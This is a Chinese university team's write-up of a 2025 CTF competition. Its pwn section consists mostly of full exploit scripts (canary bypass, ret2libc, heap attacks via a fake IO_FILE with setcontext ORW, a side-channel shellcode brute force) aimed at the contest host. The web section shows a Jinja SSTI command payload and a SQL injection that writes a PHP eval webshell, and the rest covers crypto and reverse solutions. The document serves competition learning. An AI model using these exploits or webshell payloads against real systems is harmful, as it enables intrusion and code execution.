2025“轩辕杯“云盾砺剑 CTF挑战赛wp

本次比赛我们南华大学卡布奇诺信息安全协会获得了44名的成绩(babyshellcode和rce本来可以写出来的,无奈课程多,很多队员没时间打,大佬都没来。)

同时也欢迎各位校内外的师傅进群学习交流。

QQ群:516360221。微信公众号:卡布奇诺信息安全实验室

PWN

it_is_a_canary

from pwn import *
#p = process('./it_is_a_canary')
p = remote('27.25.151.26',39750)
elf = context.binary = ELF('./it_is_a_canary')

# gdb.attach(p)
p.sendafter(b'canary?',b'a'*0x18+b'Y')
p.recvuntil(b'aaaaY')
canary = u64(p.recv(7).rjust(8,b'\x00'))
p.send(b'a'*0x18 + p64(canary) + p64(0xdeadbeef) + p16(0x9265))
p.interactive()

先泄露canary,然后覆写返回地址的最低2字节,但是有4比特位是不确定的,可以爆破 ,我这里是填了0x9,试了8次左右就成功返回到后门函数了

lllibc

from pwn import *
#p = process('./lllibc')
p = remote('27.25.151.26',23149)
elf = context.binary = ELF('./lllibc')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)

rop.raw(b'a'*0x18)
rop.write(1,elf.got['write'],8)
rop.raw(p64(elf.sym['main']))

log.info(rop.dump())

p.sendafter(b'win?\n',rop.chain())

write_addr = u64(p.recv(8))
libc.address = write_addr - libc.sym['write']
rop = ROP(elf)

rop.raw(b'a'*0x18)
rop(rdi = next(libc.search(b'/bin/sh\x00')),rsi=0,rdx=0)
rop.raw(p64(0x401229))
rop.call((libc.sym['system']))
log.info(rop.dump())
#gdb.attach(p)
p.sendafter(b' win?\n',rop.chain())

p.interactive()

正常的ret2libc

baby_heap

通过libc可以知道是一道2.35的菜单堆题目

有uaf,只有2次free机会,add申请的chunk size必须大于0x410,那就是先泄露heap_base和libc_base再直接large bin attack打IO_list_all,伪造IO结构体打apple2即可

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("27.25.151.26",30947)
elf = ELF('./pwn')
libc = ELF('libc.so.6')
def add(idx, size):
	sla(b'choice:\n', b'1')
	sla(b'index:\n', str(idx))
	sla(b'size:\n', str(size))
def free(idx):
	sla(b'choice:\n', b'2')
	sla(b'index:\n', str(idx))
def show(idx):
	sla(b'choice:\n', b'4')
	sla(b'index:\n', str(idx))
def edit(idx, data):
	sla(b'choice:\n', b'3')
	sla(b'index:\n', str(idx))
	sa(b'content:\n', data)



add(0,0x420)
add(1,0x420)
add(2,0xb00-0x2c0+0x30-0x10)
add(5,0x460)
add(6,0x460)
free(0)
show(0)
libc_base=uu64()-0x21ace0
free(2)
show(2)
heap_adr=uu64()
ret = libc_base+libc.search(asm("ret")).__next__()
add(7,0x440)
IO_list_all=libc.sym["_IO_list_all"]+libc_base

edit(0,p64(0)+p64(ret)+p64(0)+p64(IO_list_all-0x20))
add(8,0x480)

print(hex(heap_adr))
print(hex(libc_base))
pause()
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']



system,bin_sh=get_sb()
chunk3=heap_adr+0xcb0  # 伪造的fake_IO结构体的地址
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
ret = libc_base+libc.search(asm("ret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()

shell=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
setcontext=libc_base+libc.sym['setcontext']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

chunk3=heap_adr+0xcb0 # 伪造的fake_IO结构体的地址

print(hex(chunk3))



fake_ret=chunk3+0xe0+0xe8+8#rsp
IO_FILE1 = p64(0)*3+p64(1)+b'\x00'*0x38+p64(0)                         #_chain
IO_FILE1+= p32(0)+b'\x08'                                              #_flags2
IO_FILE1 = IO_FILE1.ljust(0x80,b'\x00')+p64(chunk3)                    #lock
IO_FILE1 = IO_FILE1.ljust(0x90,b'\x00')+p64(chunk3+0xe0)               #_wide_data  ***  rdx
IO_FILE1 = IO_FILE1.ljust(0xb0,b'\x00')
IO_FILE1 = IO_FILE1.ljust(0xc8,b'\x00')+p64(_IO_wfile_jumps)           #vtable

IO_FILE1+= b'\x00'.ljust(0xa0,b'\x00')+p64(fake_ret)+p64(rdi+1)
IO_FILE1+= b'/flag\x00\x00\x00'.ljust(0x30,b'\x00')+p64(chunk3+0xe0+0xe8-0x68)+p64(setcontext+61)
IO_FILE1+= p64(rdi)+p64(bin_sh)+p64(system)
print(hex(len(IO_FILE1)))
pause()
edit(2,b'\x00'*0x450+IO_FILE1)
#gdb.attach(p)
sla(b'choice:\n', b'5')
inter()

ez_ptm

也是2.35的菜单堆题目

同样堆申请也有size限制,在case 0x1314520这里有一个uaf的指令

一开始这里没检查idx还以为是和数组越界啥的有关,后面直接uaf泄露heap_base和libc_base即可,然后就是和baby_heap一样的打IO了,不过这里需要注意的是这题开了沙箱

需要通过setcontext来打orw

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("27.25.151.26",21511)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def add(idx, size):
	sla(b'Your choice >> ', b'1')
	sla(b'Index:\n', str(idx))
	sla(b'Size:\n', str(size))
def delete(idx):
	sla(b'Your choice >> ', b'2')
	sla(b'Index:\n', str(idx))
def show(idx):
	sla(b'Your choice >> ', b'4')
	sla(b'Index:\n', str(idx))
def edit(idx, data):
	sla(b'Your choice >> ', b'3')
	sla(b'Index:\n', str(idx))
	sla(b'Size:\n', str(len(data)))
	sleep(0.5)
	s(data)
def love(idx):
	sla(b'Your choice >> ', b'20006176')
	sla(b'Index:\n', str(idx))


add(0,0x490)
add(1,0x4a0)
delete(0)

#

add(2,0x4a0)
add(3,0x4a0)
love(2)
show(2)
libc_base=uu64()-0x21ace0
print(hex(libc_base))

IO_list_all=libc_base+libc.sym["_IO_list_all"]

setcontext=libc_base+libc.sym['setcontext']+61
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
rdx_r12= libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
ret = libc_base+libc.search(asm("ret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
open_=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
mprotect=libc_base + libc.sym['mprotect']
add(4,0x4b0)
show(2)
heap_addr=uu64()
print(hex(heap_addr))
add(0,0x490)
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

chunk3=heap_addr # 伪造的fake_IO结构体的地址
orw  = p64(rdi) + p64(chunk3+0xe0+0xa0+0x10)  
orw += p64(rsi) + p64(0)
orw += p64(open_)

orw += p64(rdi) + p64(3)
orw += p64(rsi)+p64(heap_addr+0x200)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(read)

orw += p64(rdi) + p64(1)
orw += p64(rsi)+p64(heap_addr+0x200)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(write)


fake_ret=heap_addr+0xe0+0xe0+0x18

IO_FILE1 = p64(0)*3+p64(1)+b'\x00'*0x38+p64(0)                         #_chain
IO_FILE1+= p32(0)+b'\x08'                                              #_flags2
IO_FILE1 = IO_FILE1.ljust(0x80,b'\x00')+p64(chunk3)                    #lock
IO_FILE1 = IO_FILE1.ljust(0x90,b'\x00')+p64(chunk3+0xe0)               #_wide_data  ***  rdx
IO_FILE1 = IO_FILE1.ljust(0xb0,b'\x00')
IO_FILE1 = IO_FILE1.ljust(0xc8,b'\x00')+p64(_IO_wfile_jumps)           #vtable

IO_FILE1+= b'\x00'.ljust(0xa0,b'\x00')+p64(fake_ret)+p64(rdi+1)
IO_FILE1+= b'/flag\x00\x00\x00'.ljust(0x30,b'\x00')+p64(chunk3+0xe0+0xe8-0x68)+p64(setcontext)
IO_FILE1+= p64(rdi+1)+orw
edit(0,IO_FILE1)

delete(0)
edit(2,p64(0)+p64(ret)+p64(0)+p64(IO_list_all-0x20))
add(5,0x4c0)
#gdb.attach(p)
sla(b'Your choice >> ', b'5')
pr()
pr()

babyshellcode

这个strlen的size限制。这里我们可以用 \x00 绕过,这里用到包含 \x00 的指令

00 5a 00 add BYTE PTR [rdx+0x0], bl

然后用seccomp dump工具一看

好家伙什么输出都不给,这种情况下就得用侧信道手法了,原理就是把flag写进内存,然后一个一个字符的比较,如果一样则跳入循环,不一样就比较下一个字符,只不过可惜的是这个靶机每次爆破到一半就会卡卡的,一开始以为不是静态flag还以为爆破错了,后面多试了几次,确实是静态flag爆破出来了。然后如果卡的话把靶机关闭再打开就行了。只不过可惜是后面才想到了,已经结束了那个时候()

from pwn import *
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
context.arch="amd64"
def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :slafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(rl(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(rl(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).rjust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#----------------------------------------------------------------------------------------
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'error'

flag = 'flag{easy_shellc0de_r1ght}'
index = 25

# 🚀 改为爆破所有 ASCII 可见字符(0x20-0x7e)
charset = list(range(0x20, 0x7f))

template = """
add BYTE PTR [rdx+0x0], bl
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax

mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

mov edi, eax
mov rsi, rsp
push 1
pop rdx

xor ebx, ebx
read_loop:
xor eax, eax
syscall
inc ebx
cmp ebx, {index}
jne read_loop

mov al, [rsp]
cmp al, {guess}
je .

mov eax, 60
xor edi, edi
syscall
"""

def test_guess(index, guess, retry=1):
    for attempt in range(retry + 1):
        try:
            code = asm(template.format(index=index, guess=guess))
            p = remote("27.25.151.26", 31592)
            p.send(code)
            start = time.time()
            try:
                p.recv(timeout=10.0)
            except EOFError:
                print('Got EOF')
            finally:
                p.close()
                elapsed = time.time() - start
            return elapsed
        except Exception as e:
            print(f"[!] Network error on guess=0x{guess:02x}, retry {attempt+1}")
            time.sleep(0.3)
    return 0

while True:
    for b in charset:
        t = test_guess(index, b, retry=1)
        print(f"Trying index={index} byte=0x{b:02x} ({chr(b)}) -> {t:.2f}s")
        if t > 6:
            flag += chr(b)
            print(f"[+] Found: {chr(b)} (0x{b:02x}) -> Flag so far: {repr(flag)}")
            index += 1
            break
    if flag.endswith('}'):
        break

log.success(f"Flag = {flag}")

web

ezjs

看到这个,直接访问getflag.php,POS提交score =100000000000

签到

6个小模块,我直接放bp的结果

1

2

3

4

5

6

ezssrf1.0

?url=http:@127.0.1/FFFFF11111AAAAAggggg.php也可以

ezflask

emmmm,我是用fenqing一把嗦的

{{((joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('o''s'))['p''open']('CAT /FLAG'|lower))['read']()}}

ezrce

该函数用于输出一个 .gz 文件的内容

但是对于非 gzip 格式的文件,直接读取内容

这里还有一种解法:

我们可以用\符号开头,它不会影响函数的运行

ezsql1.0

fuzz一波,ban了空格,select会被替换成空

空格的话这里%09和/**/都可以绕过

这里是发现有写入的权限

payload:

?id=-1%09union%09seselectlect%091,%27%3C?=eval($_POST[1]);?%3E%27,3%09into%09outfile%09%27/var/www/html/1.php%27#

访问:

直接蚁剑连接:

在/var/db.sql这里找到flag的base64编码后的值

解码即可

ez_web1

看提示:

账号为fly233

密码是123456789

这里发现有个参数,那就不急着文件上传

发现可以目录便利:

最后在/proc/1/environ找到flag

crypto

easy_rsa

ai写的脚本

from Crypto.Util.number import long_to_bytes, inverse
import gmpy2

# 已知参数
e = 65537
n = 1000000000000000000000000000156000000000000000000000000005643
c = 418535905348643941073541505434424306523376401168593325605206

# 尝试分解n
def factorize_n(n):
    # 观察n的形式,尝试一些简单的分解方法
    # 首先尝试检查n是否接近于完全平方数
    approx_sqrt = gmpy2.isqrt(n)
    
    # 检查附近的数
    for i in range(-10000, 10000):
        potential_p = approx_sqrt + i
        if n % potential_p == 0:
            return potential_p, n // potential_p
    
    # 如果上面的方法失败,尝试Fermat分解法
    a = gmpy2.isqrt(n) + 1
    b2 = a*a - n
    while not gmpy2.is_square(b2):
        a += 1
        b2 = a*a - n
    b = gmpy2.isqrt(b2)
    p = a + b
    q = a - b
    return p, q

# 尝试分解n
try:
    p, q = factorize_n(n)
    print(f"p = {p}")
    print(f"q = {q}")
    print(f"验证: p*q = {p*q}")
    
    # 计算φ(n)
    phi = (p - 1) * (q - 1)
    
    # 计算私钥d
    d = inverse(e, phi)
    print(f"d = {d}")
    
    # 解密
    m = pow(c, d, n)
    
    # 尝试将m转换为字节,然后解码为字符串
    try:
        flag = long_to_bytes(m).decode('utf-8')
        print(f"解密结果(UTF-8): {flag}")
    except:
        # 如果解码失败,直接输出数字
        print(f"解密结果(数字): {m}")
        # 尝试以十六进制显示
        print(f"解密结果(十六进制): {hex(m)}")
        # 尝试直接显示字节
        print(f"解密结果(字节): {long_to_bytes(m)}")
    
except Exception as e:
    print(f"分解失败: {e}")
    
    # 尝试使用更高级的分解方法
    print("尝试使用更高级的分解方法...")
    
    # 观察n的特殊形式
    print(f"n的十进制表示: {n}")
    print(f"n的十六进制表示: {hex(n)}")
    
    # 检查n是否可以表示为特殊形式
    # 例如: 10^k + a 或 10^k - a 形式
    n_str = str(n)
    if '0' * 10 in n_str:
        print("n包含连续的0,可能有特殊结构")
        
        # 尝试将n表示为10^k + a形式
        k = len(n_str) - len(n_str.lstrip('0')) - 1
        base = 10 ** k
        diff = n - base
        print(f"n可能是10^{k} + {diff}形式")
        
        # 尝试基于这种形式进行分解
        # ...

dp

ai写的脚本

from Crypto.Util.number import long_to_bytes, inverse
import gmpy2

# 已知参数
n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
e = 65537

# 使用扩展欧几里得算法
def extended_gcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        gcd, x, y = extended_gcd(b % a, a)
        return gcd, y - (b // a) * x, x

# 使用连分数方法恢复p
def recover_p(n, e, dp):
    # 计算edp-1,它是(p-1)的倍数
    edp_minus_1 = e * dp - 1
    
    # 尝试不同的k值
    for k in range(3, e):
        # 如果edp-1能被k整除
        if edp_minus_1 % k == 0:
            # 计算可能的p-1值
            p_minus_1_candidate = edp_minus_1 // k
            # 计算可能的p值
            p_candidate = p_minus_1_candidate + 1
            # 检查n是否能被p_candidate整除
            if n % p_candidate == 0:
                return p_candidate
    return None

# 尝试另一种方法:利用dp和e的关系
def recover_p_alternative(n, e, dp):
    for k in range(1, 100000):
        # 计算可能的p值
        p_val = (e * dp - 1 + k) // k + 1
        if n % p_val == 0:
            return p_val
    return None

# 尝试第三种方法:基于连分数展开
def recover_p_continued_fraction(n, e, dp):
    # 计算edp
    edp = e * dp
    # 寻找edp的连分数展开中的收敛子
    convergents = continued_fraction_convergents(edp)
    
    for (k, d) in convergents:
        # 计算可能的p值
        if k == 0:
            continue
        p_val = (edp - 1) // k + 1
        if n % p_val == 0:
            return p_val
    return None

# 计算连分数展开的收敛子
def continued_fraction_convergents(x):
    # 初始化
    e = x
    convergents = []
    
    # 计算连分数展开
    a0 = e
    p0 = a0
    q0 = 1
    
    p1 = 1
    q1 = 0
    
    convergents.append((q0, p0))
    
    # 迭代计算收敛子
    i = 0
    while i < 100:  # 限制迭代次数
        a = e
        e = 1 / (e - int(e))
        
        # 防止除零错误
        if e == float('inf'):
            break
            
        p2 = int(a) * p1 + p0
        q2 = int(a) * q1 + q0
        
        convergents.append((q2, p2))
        
        p0 = p1
        p1 = p2
        
        q0 = q1
        q1 = q2
        
        i += 1
        
    return convergents

# 尝试所有方法
print("尝试方法1...")
p = recover_p(n, e, dp)
if p is None:
    print("方法1失败,尝试方法2...")
    p = recover_p_alternative(n, e, dp)

if p is None:
    print("方法2失败,尝试方法3...")
    p = recover_p_continued_fraction(n, e, dp)

if p is None:
    print("所有方法都失败了,无法恢复p值")
    exit(1)

print(f"找到p: {p}")

# 计算q
q = n // p
print(f"计算q: {q}")

# 计算φ(n)
phi = (p - 1) * (q - 1)

# 计算私钥d
d = inverse(e, phi)
print(f"计算d: {d}")

# 解密
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"解密结果: {flag}")

misc

terminal hacker

直接跟着提示一步步输入命令就可以得到flag了

reverse

你知道Base么

逻辑很明显,如图,第一个挑战是输入key,key通过解tea得到,此处的key作为后面解魔改base64的密钥

tea无魔改,网上抄个板子直接解了,就改了常量

#include <stdio.h>  
#include <stdint.h>  
  
//加密函数  
void encrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /*将传进函数的v分解成两个32位无符号数v0,v1 */  
    uint32_t delta=0x9e3779b9;                     /*使用的加密常数,为黄金分割率,题目一般会改 */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* 密钥分别取出,方便后续的操作 */  
    for (i=0; i < 32; i++) {                       /* 32轮*/  
        sum += delta;  
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  
    }                                           
    v[0]=v0; v[1]=v1;  //将加密完毕的两个数值放回
}  
//解密函数  
void decrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=-0xc3910c8e0, i;  /*此处的sum是由一开始的黄金分割率迭代32轮之后得到的数*/  
    uint32_t delta=0x61C88647;                     
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* key不变 */  
    for (i=0; i<32; i++) {                         /* 依然是32轮*/  
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  	//加密是加,解密即是减,由图可知,先解v1再解v0
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        sum += delta;  
    }                                           
    v[0]=v0; v[1]=v1;  
}  
  
int main()  
{  
    uint32_t v[2]={0xA92F3865,0x9E60E953},k[4]={0x12345678,0x3456789A,0x89ABCDEF,0x12345678};  
    // v为要加密的数据是两个32位无符号整数  
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位  
     
    decrypt(v, k);  
    printf("%s",v);  
    return 0;  
}  
//得到key为y0uokTea

后面的rc4有个小魔改,把最好密钥流的异或改成了+,那么直接减回去就好了

密文直接写个idapython提一下就好

import idc
print("\n")
addr =0x00000001400171ED
for i in range(64):
    print(idc.get_wide_byte(addr),end=',')
    addr+=7
key = [0x79,0x30,0x75,0x6F,0x6B,0x54,0x65,0x61] # 秘钥 = y0uokTea
table=[212,89,35,118,180,191,227,44,88,143,86,25,218,240,192,189,54,61,123,70,27,184,23,31,227,208,3,69,205,4,237,201,103,230,171,41,167,188,11,222,92,48,113,215,213,90,198,159,64,101,196,113,169,195,174,217,181,229,18,140,128,82,52,54]
    # 初始化 S 盒和密钥调度算法所需的 T 盒

S = list(range(256))
T = [key[i % len(key)] for i in range(256)] 

j = 0
for i in range(256):
    j = (j + S[i] + T[i]) % 256
    S[i], S[j] = S[j], S[i]

temp=[]
j = 0
for i in range(len(table)):
    a = (i + 1) % 256
    j = (j + S[a]) % 256
    S[a], S[j] = S[j], S[a]
    k = S[(S[a] + S[j]) % 256]
    print(chr(((table[i])-k) & 0xff),end='')
#gVxwoFhPyT/YM0BKcHe4b8GCUZtlnLW2SJO51IErk+q6vzpamdARX9siND3uQfj7

然后最后是一个魔改base64,标准 Base64 是 3 字节一组,这里是 5 字节一组,标准 Base64 每组输出 4 字符,这里每组输出 8 字符,并且使用了不同的位移和掩码模式,抄写下来写个解码就好

def decode_custom_base64(encoded_str, char_table):

    # 确保编码表长度正确
    if len(char_table) < 32:
        raise ValueError("编码表需要至少32个字符")
    
    # 创建反向映射字典
    reverse_table = {c: idx for idx, c in enumerate(char_table[1:33])}  # 跳过第一个字符
    
    # 移除可能的填充或空字符
    encoded_str = encoded_str.rstrip('\x00')
    
    # 检查长度是否为8的倍数
    if len(encoded_str) % 8 != 0:
        raise ValueError("编码字符串长度必须是8的倍数")
    
    result = bytearray()
    
    # 每8个字符一组处理
    for i in range(0, len(encoded_str), 8):
        chunk = encoded_str[i:i+8]
        if len(chunk) != 8:
            break
        
        # 将8个字符转换为40位(5字节)数据
        v11 = 0
        for j in range(8):
            c = chunk[j]
            if c not in reverse_table:
                raise ValueError(f"无效字符 '{c}' 在编码字符串中")
            v11 = (v11 << 5) | reverse_table[c]
        
        # 提取5个字节
        bytes_to_extract = min(5, len(encoded_str) - i // 8 * 5)
        for shift in [32, 24, 16, 8, 0]:
            if bytes_to_extract <= 0:
                break
            byte_val = (v11 >> shift) & 0xFF
            result.append(byte_val)
            bytes_to_extract -= 1
    
    return bytes(result)

if __name__ == "__main__":
    custom_char_table = "gVxwoFhPyT/YM0BKcHe4b8GCUZtlnLW2SJO51IErk+q6vzpamdARX9siND3uQfj7"
    
    # 测试解码
    encoded_data = "0tCPwtnncFZyYUlSK/4Cw0/echcG2lteBWnG2Ulw0htCYTMW"
    try:
        decoded = decode_custom_base64(encoded_data, custom_char_table)
        print(f"解码结果: {decoded}")
    except ValueError as e:
        print(f"解码错误: {e}")

flag{y0u__rea11y__k1ow__Base!}

hookme

看native层就是一个魔改的rc4,不用管,直接hook返回值,构造一下输入,直接异或就好

innn=[0x66,0x6C,0x61,0x67,0x7B,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x7D]
data = [0xF2,0x35,0xB8,0x88,0xB3,0xF4,0xE0,0x8B,0xFF,0x17,0xE7,0xE2,0x9B,0xC3,0xBF,0x67,0xD0,0xF9,0xA1,0xB7,0xB6,0x58,0x1B,0xB4,0xA1,0xEB,0x29,0x96,0x84,0xE9,0x99,0x23,0xA8,0xD1,0x93,0xCA,0xF9,0x1D]

outt=[0xF2,0x35,0xB8,0x88,0xB3,0xF0,0xE4,0xD3,0xF8,0x14,0xB6,0xB5,0xC8,0x94,0xEC,0x32,0xD2,0xA9,0xA5,0xE3,0xE5,0x0E,0x1C,0xB4,0xA2,0xB9,0x7E,0x93,0xD6,0xE9,0xCA,0x75,0xFD,0x88,0xC6,0xCF,0xA9,0x1D]

for i in range(len(innn)):
    print(chr(data[i]^(innn[i]^outt[i])),end="")

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值